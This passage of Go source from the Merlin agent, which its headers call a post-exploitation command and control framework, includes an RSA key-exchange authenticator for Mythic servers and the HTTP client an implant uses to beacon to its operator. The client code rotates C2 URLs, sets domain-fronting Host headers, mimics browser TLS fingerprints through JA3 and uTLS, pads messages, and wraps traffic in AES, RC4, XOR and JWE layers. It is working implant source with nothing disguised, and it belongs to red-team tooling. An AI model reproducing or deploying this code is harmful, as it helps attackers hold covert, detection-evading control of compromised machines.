"crypto/x509" "encoding/base64" "fmt" // 3rd Party "github.com/google/uuid" // Merlin Message messages "github.com/Ne0nd0g/merlin-message" rsa2 "github.com/Ne0nd0g/merlin-message/rsa" // Internal "github.com/Ne0nd0g/merlin-agent/v2/core" ) // Authenticator is a structure used for OPAQUE authentication type Authenticator struct { agent uuid.UUID // agent is the Agent's unique ID authenticated bool // authenticated is a boolean value that determines if the Agent is authenticated key rsa.PrivateKey // key is the Agent's RSA private key secret []byte // The encryption key derived during the Agent authentication process session string // The session ID used for the current authentication process } // New returns an RSA Authenticator structure used for Agent authentication func New(id uuid.UUID, key rsa.PrivateKey) *Authenticator { return &Authenticator{ agent: id, key: key, session: core.RandStringBytesMaskImprSrc(20), } } // Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed // to complete authentication. Function must take in a Base message for when the authentication process takes more // than one step. func (a *Authenticator) Authenticate(msg messages.Base) (messages.Base, bool, error) { if msg.Type == messages.KEYEXCHANGE { p := msg.Payload.(rsa2.Response) if p.SessionID != a.session { return messages.Base{}, false, fmt.Errorf("invalid RSA session ID '%s', expecting '%s'", p.SessionID, a.session) } // Base64 decode the session key key, err := base64.StdEncoding.DecodeString(p.SessionKey) if err != nil { err = fmt.Errorf("there was an error Base64 decoding the RSA session key:\n%s", err) return messages.Base{}, false, err } // Decrypt with an RSA private key and update the authenticator's secret key to use this session key hash := sha1.New() // #nosec G401 a.secret, err = rsa.DecryptOAEP(hash, rand.Reader, &a.key, key, nil) if err != nil { err = fmt.Errorf("there was an error decrypting the returned RSA session key:\n%s", err) return messages.Base{}, false, err } a.authenticated = true // Mythic returns a new UUID for authenticated Agents m := messages.Base{ ID: uuid.MustParse(p.ID), } return m, a.authenticated, nil } // RSA Key Exchange rsaRequest := rsa2.Request{ Action: "staging_rsa", // Specific to Mythic PubKey: base64.StdEncoding.EncodeToString(x509.MarshalPKCS1PublicKey(&a.key.PublicKey)), SessionID: a.session, } // Merlin Base message base := messages.Base{ ID: a.agent, Type: messages.KEYEXCHANGE, Payload: rsaRequest, } return base, a.authenticated, nil } // Secret returns encryption keys derived during the Agent authentication process (if applicable) func (a *Authenticator) Secret() ([]byte, error) { if !a.authenticated { return nil, fmt.Errorf("agent is not authenticated") } return a.secret, nil } // String returns a string representation of the Authenticator's type func (a *Authenticator) String() string { return "RSA" } ================================================ FILE: cli/cli.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package cli import ( // 3rd Party "github.com/fatih/color" // Internal "github.com/Ne0nd0g/merlin-agent/v2/core" ) const ( // INFO is used to print informational messages to STDOUT with "[i]" INFO = 1 // NOTE is used to print verbose or non-sensitive messages to STDOUT with "[-]" NOTE = 2 // WARN is used to print error messages or other failures to STDOUT with "[!]" WARN = 3 // DEBUG is used to print debugging messages to STDOUT with "[DEBUG]" DEBUG = 4 // SUCCESS is used to print successful or important messages to STDOUT with "[+]" SUCCESS = 5 ) // Message is used to print text to Standard Out func Message(level int, message string) { if core.Verbose == false && core.Debug == false { return } switch level { case INFO: if core.Verbose { core.Mutex.Lock() color.Cyan("[i]" + message) core.Mutex.Unlock() } case NOTE: if core.Verbose { core.Mutex.Lock() color.Yellow("[-]" + message) core.Mutex.Unlock() } case WARN: if core.Verbose { core.Mutex.Lock() color.Red("[!]" + message) core.Mutex.Unlock() } case DEBUG: if core.Debug { core.Mutex.Lock() color.Red("[DEBUG]" + message) core.Mutex.Unlock() } case SUCCESS: if core.Verbose { core.Mutex.Lock() color.Green("[+]" + message) core.Mutex.Unlock() } default: if core.Verbose { core.Mutex.Lock() color.Red("[_-_]Invalid message level: " + message) core.Mutex.Unlock() } } } ================================================ FILE: clients/clients.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package clients holds the interface for network communications package clients import ( // Merlin "github.com/Ne0nd0g/merlin-message" ) // Client is an interface definition a client must implement to interact with a remote server type Client interface { // Authenticate executes the configured authentication method sending the necessary messages to the server to // complete authentication. Function takes in a Base message for when the server returns information to continue the // process or needs to re-authenticate. Authenticate(msg messages.Base) error // Get retrieve's a client's configured option Get(key string) string // Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate // communication with server Initial() error // Listen is used by synchronous Agents to consistently listen for new incoming messages that aren't the result of a check in Listen() ([]messages.Base, error) // Send takes in a Base message, transforms it according to the configured encoders/encrypters, and sends the message // at the infrastructure layer according to the client's protocol Send(base messages.Base) ([]messages.Base, error) // Set updates a client's configured options Set(key string, value string) error // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. Synchronous() bool } ================================================ FILE: clients/http/http.go ================================================ //go:build http || http1 || http2 || http3 || winhttp || mythic || !(smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http implements the Client interface and contains the structures and functions to communicate to the Merlin // server over the HTTP protocol package http import ( // Standard "bytes" "crypto/sha256" "fmt" "io" "math/rand" "net/http" "net/url" "strconv" "strings" "sync" "time" // 3rd Party "github.com/go-jose/go-jose/v3" "github.com/go-jose/go-jose/v3/jwt" "github.com/google/uuid" // Merlin Message "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/authenticators" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/none" oAuth "github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/clients/memory" "github.com/Ne0nd0g/merlin-agent/v2/core" merlinHTTP "github.com/Ne0nd0g/merlin-agent/v2/http" "github.com/Ne0nd0g/merlin-agent/v2/services/p2p" transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor" ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { Authenticator authenticators.Authenticator authenticated bool // authenticated tracks if the Agent has successfully authenticated Client merlinHTTP.Client // Client to send messages with ClientType merlinHTTP.Type Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse) URL []string // A slice of URLs to send messages to (e.g., https://127.0.0.1:443/test.php) Host string // HTTP Host header value Proxy string // Proxy string ProxyUser string // ProxyUser string ProxyPass string // ProxyPass string JWT string // JSON Web Token for authorization Headers map[string]string // Additional HTTP headers to add to the request secret []byte // The secret key used to encrypt communications UserAgent string // HTTP User-Agent value PaddingMax int // PaddingMax is the maximum size allowed for a randomly selected message padding length Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable psk string // psk is the Pre-Shared Key secret the agent will use to start authentication AgentID uuid.UUID // AgentID the Agent's unique identifier currentURL int // the current URL the agent is communicating with transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message insecureTLS bool // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false sync.Mutex } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { AgentID uuid.UUID // AgentID the Agent's UUID Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse) Host string // Host is used with the HTTP Host header for Domain Fronting activities Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests URL []string // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx) Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable ProxyUser string // ProxyUser is the username for the proxy, if applicable ProxyPass string // ProxyPass is the password for the proxy, if applicable UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable Padding string // Padding is the max amount of data that will be randomly selected and appended to every message AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server Opaque []byte // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use) Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.) } // New instantiates and returns a Client constructed from the passed in Config func New(config Config) (*Client, error) { cli.Message(cli.DEBUG, "Entering into clients.http.New()...") cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config)) client := Client{ AgentID: config.AgentID, URL: config.URL, UserAgent: config.UserAgent, Host: config.Host, Protocol: config.Protocol, Proxy: config.Proxy, JA3: config.JA3, Parrot: config.Parrot, psk: config.PSK, insecureTLS: config.InsecureTLS, ProxyUser: config.ProxyUser, ProxyPass: config.ProxyPass, } // Authenticator switch strings.ToLower(config.AuthPackage) { case "none": client.Authenticator = none.New(config.AgentID) case "opaque": client.Authenticator = oAuth.New(config.AgentID) default: return nil, fmt.Errorf("an authenticator must be provided (e.g., 'none' or 'opaque'") } // Transformers transforms := strings.Split(config.Transformers, ",") for _, transform := range transforms { var t transformer.Transformer switch strings.ToLower(transform) { case "aes": t = aes.NewEncrypter() case "base64-byte": t = base64.NewEncoder(base64.BYTE) case "base64-string": t = base64.NewEncoder(base64.STRING) case "gob-base": t = gob.NewEncoder(gob.BASE) case "gob-string": t = gob.NewEncoder(gob.STRING) case "hex-byte": t = hex.NewEncoder(hex.BYTE) case "hex-string": t = hex.NewEncoder(hex.STRING) case "jwe": t = jwe.NewEncrypter() case "rc4": t = rc4.NewEncrypter() case "xor": t = xor.NewEncrypter() default: err := fmt.Errorf("clients/http.New(): unhandled transform type: %s", transform) if err != nil { return nil, err } } client.transformers = append(client.transformers, t) } // Set secret for JWT and JWE encryption key from PSK k := sha256.Sum256([]byte(client.psk)) client.secret = k[:] cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk)) cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret)) //Convert Padding from string to an integer var err error if config.Padding != "" { client.PaddingMax, err = strconv.Atoi(config.Padding) if err != nil { return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err) } } else { client.PaddingMax = 0 } // Parse additional HTTP Headers if config.Headers != "" { client.Headers = make(map[string]string) for _, header := range strings.Split(config.Headers, "\n") { h := strings.Split(header, ":") if len(h) < 2 { cli.Message(cli.DEBUG, fmt.Sprintf("unable to parse HTTP header: '%s'", header)) continue } // Remove leading or trailing spaces headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ") headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ") cli.Message( cli.DEBUG, fmt.Sprintf("HTTP Header (%d): %s, Value (%d): %s\n", len(headerKey), headerKey, len(headerValue), headerValue, ), ) client.Headers[headerKey] = headerValue } } // Determine the HTTP client type if client.Protocol == "http" || client.Protocol == "https" { if config.ClientType == strings.ToLower("winhttp") { client.ClientType = merlinHTTP.WINHTTP } else if config.ClientType == strings.ToLower("wininet") { client.ClientType = merlinHTTP.WININET } else { client.ClientType = merlinHTTP.HTTP } } if client.Protocol == "h2" || client.Protocol == "h2c" { client.ClientType = merlinHTTP.HTTP2 } if client.Protocol == "http3" { client.ClientType = merlinHTTP.HTTP3 } // If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client if client.JA3 != "" { client.ClientType = merlinHTTP.JA3 } else if client.Parrot != "" { client.ClientType = merlinHTTP.PARROT } // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, ProxyUser: client.ProxyUser, ProxyPass: client.ProxyPass, } // Get the HTTP client client.Client, err = merlinHTTP.NewHTTPClient(httpConfig) if err != nil { return &client, err } cli.Message(cli.INFO, "Client information:") cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", client.Protocol)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Client Type: %s", client.ClientType)) cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.Authenticator)) cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers)) cli.Message(cli.INFO, fmt.Sprintf("\tURL: %v", client.URL)) cli.Message(cli.INFO, fmt.Sprintf("\tUser-Agent: %s", client.UserAgent)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Host Header: %s", client.Host)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Headers: %s", client.Headers)) cli.Message(cli.INFO, fmt.Sprintf("\tProxy: %s", client.Proxy)) cli.Message(cli.INFO, fmt.Sprintf("\tPayload Padding Max: %d", client.PaddingMax)) cli.Message(cli.INFO, fmt.Sprintf("\tJA3 String: %s", client.JA3)) cli.Message(cli.INFO, fmt.Sprintf("\tParrot String: %s", client.Parrot)) // Add the client to the repository memory.NewRepository().Add(&client) return &client, nil } // getJWT is used to generate unauthenticated JWTs before the Agent successfully authenticates to the server func (client *Client) getJWT() (string, error) { cli.Message(cli.DEBUG, "Entering into clients.http.getJWT()...") // Agent generated JWT will always use the PSK // Server later signs and returns JWTs key := sha256.Sum256([]byte(client.psk)) // Create encrypter encrypter, encErr := jose.NewEncrypter(jose.A256GCM, jose.Recipient{ Algorithm: jose.DIRECT, // Doesn't create a per-message key Key: key[:]}, (&jose.EncrypterOptions{}).WithType("JWT").WithContentType("JWT")) if encErr != nil { return "", fmt.Errorf("there was an error creating the JWT encryptor:\r\n%s", encErr.Error()) } // Create signer signer, errSigner := jose.NewSigner(jose.SigningKey{ Algorithm: jose.HS256, Key: key[:]}, (&jose.SignerOptions{}).WithType("JWT")) if errSigner != nil { return "", fmt.Errorf("there was an error creating the JWT signer:\r\n%s", errSigner.Error()) } // Build JWT claims cl := jwt.Claims{ Expiry: jwt.NewNumericDate(time.Now().UTC().Add(time.Second * 10)), IssuedAt: jwt.NewNumericDate(time.Now().UTC()), ID: client.AgentID.String(), } agentJWT, err := jwt.SignedAndEncrypted(signer, encrypter).Claims(cl).CompactSerialize() if err != nil { return "", fmt.Errorf("there was an error serializing the JWT:\r\n%s", err) } // Parse it to check for errors _, errParse := jwt.ParseSignedAndEncrypted(agentJWT) if errParse != nil { return "", fmt.Errorf("there was an error parsing the encrypted JWT:\r\n%s", errParse.Error()) } return agentJWT, nil } // Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/http.Listen(): the HTTP client does not support the Listen function") return } func (client *Client) proxy() (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.proxy(): Sending CONNECT request to proxy: %s", client.Proxy)) fmt.Printf("clients/http.proxy(): client.URL: %+v\n", client.URL[client.currentURL]) req, err := http.NewRequest("CONNECT", client.URL[client.currentURL], nil) if err != nil { err = fmt.Errorf("there was an error building the HTTP CONNECT request: %s", err) return } var resp *http.Response resp, err = client.Client.Do(req) if err != nil { err = fmt.Errorf("there was an error sending the HTTP CONNECT request: %s", err) return } cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.proxy(): HTTP CONNECT response: %+v", resp)) return } // Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server. // The function also decodes and decrypts response messages and returns a Merlin message structure. // This is where the client's logic is for communicating with the server. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Send(): Entering into function with message: %+v", m)) cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s", m.Type, client.URL[client.currentURL])) // Set the message padding if client.PaddingMax > 0 { // #nosec G404 -- Random number does not impact security m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.PaddingMax)) } // Construct the message running it through all the configured transforms data, err := client.Construct(m) if err != nil { err = fmt.Errorf("clients/http.Send(): there was an error constructing the message: %s", err) return } // Build the POST request req, reqErr := http.NewRequest("POST", client.URL[client.currentURL], bytes.NewReader(data)) if reqErr != nil { err = fmt.Errorf("there was an error building the HTTP request:\r\n%s", reqErr.Error()) return } if req != nil { req.Header.Set("User-Agent", client.UserAgent) req.Header.Set("Content-Type", "application/octet-stream; charset=utf-8") req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", client.JWT)) if client.Host != "" { req.Host = client.Host } } for header, value := range client.Headers { req.Header.Set(header, value) } // Send the request cli.Message(cli.DEBUG, fmt.Sprintf("Sending POST request size: %d to: %s", req.ContentLength, client.URL[client.currentURL])) cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\r\n%+v", req)) resp, err := client.Client.Do(req) // Must rotate URL before error check to keep the URL from getting stuck on the same server if client.Authenticator.String() == "OPAQUE" && len(client.secret) != 64 { // Don't rotate URL until OPAQUE registration/authentication is complete // AES PSK is 32-bytes but OPAQUE PSK is 64-bytes // Don't do anything } else if len(client.URL) > 1 { // Randomly rotate URL for the NEXT request client.currentURL = rand.Intn(len(client.URL)) // #nosec G404 random number is not used for secrets // Sequentially rotate URL for the NEXT request //if client.currentURL < (len(client.URL) - 1) { // client.currentURL++ //} cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Send(): Rotating URL to: %s", client.URL[client.currentURL])) } if err != nil { // Handle HTTP3 Errors if client.Protocol == "http3" { e := "" n := false // Application error 0x0 is typically the result of the server sending a CONNECTION_CLOSE frame if strings.Contains(err.Error(), "Application error 0x0") { n = true e = "Building new HTTP/3 client because received QUIC CONNECTION_CLOSE frame with NO_ERROR transport error code" } // Handshake timeout happens when a new client was not able to reach the server and set up a crypto handshake for the first time (no listener or no access) if strings.Contains(err.Error(), "NO_ERROR: Handshake did not complete in time") { n = true e = "Building new HTTP/3 client because QUIC HandshakeTimeout reached" } // No recent network activity happens when a PING timeout occurs. // KeepAlive setting can be used to prevent MaxIdleTimeout. // When the client has previously established a crypto handshake, but does not hear back from its PING frame, // the server within the client's MaxIdleTimeout. // Typically, it happens when the Merlin Server application is killed/quit without sending a // CONNECTION_CLOSE frame from stopping the listener. if strings.Contains(err.Error(), "NO_ERROR: No recent network activity") { n = true e = "Building new HTTP/3 client because QUIC MaxIdleTimeout reached" } cli.Message(cli.DEBUG, fmt.Sprintf("HTTP/3 error: %s", err.Error())) if n { cli.Message(cli.NOTE, e) var errClient error // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, ProxyUser: client.ProxyUser, ProxyPass: client.ProxyPass, } client.Client, errClient = merlinHTTP.NewHTTPClient(httpConfig) if errClient != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error getting a new HTTP/3 client: %s", errClient.Error())) } } } err = fmt.Errorf("there was an error with the http client while performing a POST:\r\n%s", err.Error()) return } cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Response:\r\n%+v", resp)) switch resp.StatusCode { case 200: break case 401: cli.Message(cli.NOTE, "Server returned a 401, generating JWT with PSK and trying again...") client.JWT, err = client.getJWT() if err != nil { cli.Message(cli.WARN, fmt.Sprintf("clients/http.Send(): there was an error generating a self-signed JWT: %s", err)) } return case 407: cli.Message(cli.NOTE, "Server returned a 407 - Proxy Authentication Required, trying again...") cli.Message(cli.DEBUG, fmt.Sprintf("Proxy-Authenticate header: %s", resp.Header.Get("Proxy-Authenticate"))) return default: err = fmt.Errorf("there was an error communicating with the server:\r\n%d", resp.StatusCode) return } contentType := resp.Header.Get("Content-Type") if contentType == "" { err = fmt.Errorf("the response did not contain a Content-Type header") return } // Check to make sure the response contains the application/octet-stream Content-Type header isOctet := false for _, v := range strings.Split(contentType, ",") { if strings.ToLower(v) == "application/octet-stream" { isOctet = true } } if !isOctet { err = fmt.Errorf("the response message did not contain the application/octet-stream Content-Type header") return } // Check to make sure message response contained data if resp.ContentLength == 0 { err = fmt.Errorf("the response message did not contain any data") return } data, err = io.ReadAll(resp.Body) if err != nil { err = fmt.Errorf("clients/http.Send(): there was an error reading the response body to bytes: %s", err) return } var respMessage messages.Base respMessage, err = client.Deconstruct(data) if err != nil { err = fmt.Errorf("clients/http.Send(): there was an error deconstructing the HTTP response data: %s", err) return } // Update the Agent's JWT if the server returned one in the response message if respMessage.Token != "" { client.JWT = respMessage.Token } returnMessages = append(returnMessages, respMessage) return } // Set is a generic function used to modify a Client's field values func (client *Client) Set(key string, value string) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Set(): entering into function with key: %s, value: %s", key, value)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Set(): exiting function with err: %v", err)) client.Lock() defer client.Unlock() switch strings.ToLower(key) { case "addr": // Parse the string for a comma seperated list of URLs urls := strings.Split(strings.ReplaceAll(value, " ", ""), ",") // Validate each URL for _, u := range urls { _, err = url.Parse(u) if err != nil { err = fmt.Errorf("clients/http.Set(): there was an error parsing the URL %s: %s", u, err) return } } client.URL = urls // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, ProxyUser: client.ProxyUser, ProxyPass: client.ProxyPass, } client.Client, err = merlinHTTP.NewHTTPClient(httpConfig) case "ja3": ja3String := strings.Trim(value, "\"'") if ja3String != "" { cli.Message(cli.NOTE, fmt.Sprintf("Set agent JA3 signature to:%s", ja3String)) } else if ja3String == "" { cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol)) } client.JA3 = ja3String // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, ProxyUser: client.ProxyUser, ProxyPass: client.ProxyPass, } client.Client, err = merlinHTTP.NewHTTPClient(httpConfig) case "jwt": // TODO Parse the JWT to make sure it is valid first client.JWT = value case "parrot": parrot := strings.Trim(value, "\"'") if parrot != "" { cli.Message(cli.NOTE, fmt.Sprintf("Set agent HTTP transport parrot to:%s", parrot)) } else if parrot == "" { cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol)) } client.Parrot = parrot // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, ProxyUser: client.ProxyUser, ProxyPass: client.ProxyPass, } client.Client, err = merlinHTTP.NewHTTPClient(httpConfig) case "paddingmax": client.PaddingMax, err = strconv.Atoi(value) case "secret": client.secret = []byte(value) default: err = fmt.Errorf("unknown http client setting: %s", key) } return } // Get is a generic function used to retrieve the value of a Client's field func (client *Client) Get(key string) (value string) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Get(): entering into function with key: %s", key)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Get(): leaving function with value: %s", value)) switch strings.ToLower(key) { case "ja3": value = client.JA3 case "paddingmax": value = strconv.Itoa(client.PaddingMax) case "parrot": value = client.Parrot case "protocol": value = client.Protocol default: value = fmt.Sprintf("unknown client configuration setting: %s", key) } return } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(msg messages.Base) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Authenticate(): entering into function with message: %+v", msg)) client.authenticated = false var authenticated bool // Reset the Agent's PSK k := sha256.Sum256([]byte(client.psk)) client.secret = k[:] // Add Agent generated JWT from Agent's PSK client.JWT, err = client.getJWT() if err != nil { return } // Repeat until authenticator is complete and Agent is authenticated for { msg, authenticated, err = client.Authenticator.Authenticate(msg) if err != nil { return } // An empty message was received indicating to exit the function if msg.Type == 0 { return } // Once authenticated, update the client's secret used to encrypt messages if authenticated { client.authenticated = true p2p.NewP2PService().Refresh() var key []byte key, err = client.Authenticator.Secret() if err != nil { return } // Don't update the secret if the authenticator returned an empty key if len(key) > 0 { client.secret = key } } // Send the message to the server var msgs []messages.Base msgs, err = client.Send(msg) if err != nil { return } // Add a response message to the next loop iteration if len(msgs) > 0 { msg = msgs[0] } // If the Agent is authenticated, exit the loop and return the function if authenticated { return } } } // Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms // on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice func (client *Client) Construct(msg messages.Base) (data []byte, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Construct(): entering into function with message: %+v", msg)) cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Construct(): Transformers: %+v", client.transformers)) for i := len(client.transformers); i > 0; i-- { if i == len(client.transformers) { // The first call should always take a Base message data, err = client.transformers[i-1].Construct(msg, client.secret) cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data)) } else { data, err = client.transformers[i-1].Construct(data, client.secret) cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data)) } if err != nil { return nil, fmt.Errorf("clients/http.Construct(): there was an error calling the transformer construct function: %s", err) } } return } // Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until // a messages.Base structure is returned. The key is used for decryption transforms func (client *Client) Deconstruct(data []byte) (messages.Base, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Deconstruct(): entering into function with message: %+v", data)) for _, transform := range client.transformers { //fmt.Printf("Transformer %T: %+v\n", transform, transform) ret, err := transform.Deconstruct(data, client.secret) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("clients/http.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK")) // Try to see if the PSK works k := sha256.Sum256([]byte(client.psk)) ret, err = transform.Deconstruct(data, k[:]) if err != nil { return messages.Base{}, err } // If the PSK worked, assume the agent is unauthenticated to the server client.authenticated = false client.secret = k[:] } switch ret.(type) { case []uint8: data = ret.([]byte) case string: data = []byte(ret.(string)) // Probably not what I should be doing case messages.Base: //fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base)) return ret.(messages.Base), nil default: return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): unhandled data type for Deconstruct(): %T", ret) } } return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): unable to transform data into messages.Base structure") } // Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate // communication with the server. // If the agent needs to authenticate before it can send messages, that process will occur here. func (client *Client) Initial() (err error) { cli.Message(cli.DEBUG, "clients/http.Initial(): entering into function") return client.Authenticate(messages.Base{}) } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } ================================================ FILE: clients/http/http_exclude.go ================================================ //go:build !http && !http1 && !http2 && !http3 && !winhttp && !mythic && (smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http implements the Client interface and contains the structures and functions to communicate to the Merlin // server over the HTTP protocol package http import ( // Standard "fmt" // 3rd Party "github.com/google/uuid" // Internal messages "github.com/Ne0nd0g/merlin-message" ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { AgentID uuid.UUID // AgentID the Agent's UUID Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse) Host string // Host is used with the HTTP Host header for Domain Fronting activities Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests URL []string // URL is the protocol, domain, and page that the agent will communicate 